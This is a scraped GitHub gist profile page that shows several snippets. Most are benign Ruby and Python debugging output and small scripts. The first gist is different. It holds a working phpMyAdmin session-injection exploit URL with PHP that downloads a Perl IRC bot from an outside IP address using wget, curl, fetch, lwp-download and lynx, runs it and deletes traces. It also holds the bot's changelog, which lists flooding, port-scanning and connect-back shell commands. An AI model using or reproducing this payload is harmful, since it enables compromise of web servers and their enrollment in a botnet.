Skip to content

Instantly share code, notes, and snippets.

View chrisrobinson's full-sized avatar

Chris Robinson chrisrobinson

View GitHub Profile
@chrisrobinson
chrisrobinson / gist:5139097
Created March 12, 2013 00:03
fuck you, abdul
#!/usr/bin/perl
# - Adicionado comando !estatisticas ;
# - Alterado o comando @pacota para @oldpack;
# - Adicionado dois novos pacotadores: @udp e @udpfaixa ;
# - Adicionado um novo portscan -> @fullportscan ;
# - Adicionado comando @conback com suporte para Windows/Unix :D;
# - Adicionado comando: !sair para finalizar o bot;
# - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
# - Adicionado comando !entra e !sai ;
# - Adicionado comando @download ;
/phpmyadmin/index.php?session_to_unset=123&token=3c95ee1084fe0a535966b89da46db395&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:58:"/var/lib/php/session/sess_l5an1bi8o6ip4aarqf1ettifkmn6laai";}}&_SESSION[payload]=<?php
echo exec('cd /tmp;wget http://213.246.39.26/snews/images/abdul.txt;mv abdul.txt phpinfo.php;perl phpinfo.php;rm -rf *.php *tem');
echo exec('cd /tmp;curl -O http://213.246.39.26/snews/images/abdul.txt;mv abdul.txt phpinfo.php;perl phpinfo.php;rm -rf *.php *tem');
echo exec('cd /tmp;fetch http://213.246.39.26/snews/images/abdul.txt;mv abdul.txt phpinfo.php;perl phpinfo.php;rm -rf *.php *tem');
echo exec('cd /tmp;lwp-download http://213.246.39.26/snews/images/abdul.txt;mv abdul.txt phpinfo.php;perl phpinfo.php;rm -rf *.php *tem');
echo exec('cd /tmp;lynx -DUMP 213.246.39.26/snews/images/abdul.txt >phpinfo.php;perl phpinfo.php;rm -rf *.php *tem');
echo passthru('cd /tmp;wget http://213.246.39.26/snews/images/abdul.txt;mv abdul.txt phpinfo.php;perl phpinfo.php;rm -rf *.php
@chrisrobinson
chrisrobinson / gist:3390746
Created August 19, 2012 01:15
weird jruby-1.7.0.preview2
chris@ubuntu64:~/cardsagainsthumanity$ rvm install jruby-1.7.0.preview2
jruby-1.7.0.preview2 - #downloading jruby-bin-1.7.0.preview2, this may take a while depending on your connection...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16.0M 100 16.0M 0 0 5287k 0 0:00:03 0:00:03 --:--:-- 5484k
jruby-1.7.0.preview2 - #extracting jruby-bin-1.7.0.preview2 to /home/chris/.rvm/src/jruby-1.7.0.preview2
jruby-1.7.0.preview2 - #extracted to /home/chris/.rvm/src/jruby-1.7.0.preview2
Building Nailgun
jruby-1.7.0.preview2 - #installing to /home/chris/.rvm/rubies/jruby-1.7.0.preview2
jruby-1.7.0.preview2 - adjusting #shebangs for (jrubyc jirb_swing jirb jgem rdoc ri spec autospec testrb ast generate_yaml_index.rb).
@chrisrobinson
chrisrobinson / gist:3375464
Created August 17, 2012 02:45
tahoe won't start
C:\Users\chris>python c:\tahoe\bin\tahoe start -d c:\tahoe_data
STARTING 'c:\tahoe_data'
Unhandled Error
Traceback (most recent call last):
File "c:\tahoe\support\Lib\site-packages\twisted-11.0.0-py2.7-win32.egg\twiste
d\application\app.py", line 622, in run
runApp(config)
File "c:\tahoe\support\Lib\site-packages\twisted-11.0.0-py2.7-win32.egg\twiste
d\scripts\twistd.py", line 23, in runApp
_SomeApplicationRunner(config).run()
@chrisrobinson
chrisrobinson / royalflush.rb
Created March 28, 2012 22:34
Royal Flushes
#!/usr/bin/env ruby
royal_flushes = [
[1,10,11,12,13],
[14,23,24,25,26],
[27,36,37,38,39],
[40,49,50,51,52]]
iterations = 50_000_000
chris@ubuntu64:~/compiled$ jruby -v
jruby 1.6.7 (ruby-1.8.7-p357) (2012-02-22 3e82bc8) (OpenJDK 64-Bit Server VM 1.7.0_147-icedtea) [linux-amd64-java]
chris@ubuntu64:~/compiled$ cat test.rb
#!/usr/bin/env ruby
require 'rubygems'
require 'sinatra'
require 'trinidad'
configure do
$ rake db:mongoid:create_indexes
rake aborted!
Could not find a JavaScript runtime. See https://github.com/sstephenson/execjs for a list of available runtimes.
(See full trace by running task with --trace)
chris@chris-dev:~$ ruby xmlbench.rb
17.970000 1.340000 19.310000 ( 19.329618)
15.690000 0.020000 15.710000 ( 15.727854)
15.810000 0.020000 15.830000 ( 15.844785)
15.790000 0.020000 15.810000 ( 15.831393)
^C/home/chris/.rvm/gems/ruby-1.9.3-p0/gems/nokogiri-1.5.0/lib/nokogiri/xml/document.rb:41:in `initialize': Interrupt
from /home/chris/.rvm/gems/ruby-1.9.3-p0/gems/nokogiri-1.5.0/lib/nokogiri/xml/document.rb:33:in `read_memory'
from /home/chris/.rvm/gems/ruby-1.9.3-p0/gems/nokogiri-1.5.0/lib/nokogiri/xml/document.rb:33:in `parse'
from /home/chris/.rvm/gems/ruby-1.9.3-p0/gems/nokogiri-1.5.0/lib/nokogiri/xml.rb:33:in `XML'
from xmlbench.rb:7:in `block (3 levels) in <main>'
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
BLOCK_SIZE = 1048576 # bytes
URL = "http://localhost:8000/upload"
filename = ARGV[0]
f = File.open(filename, 'rb')
chris@ubuntu-vm:~/studio$ cat /home/chris/.gemrc
---
gem: --no-rdoc --no-ri
:benchmark: false
:verbose: true
:backtrace: false
:update_sources: true
:sources:
- http://rubygems.org/
- https://*****:********@gems.medioh.com/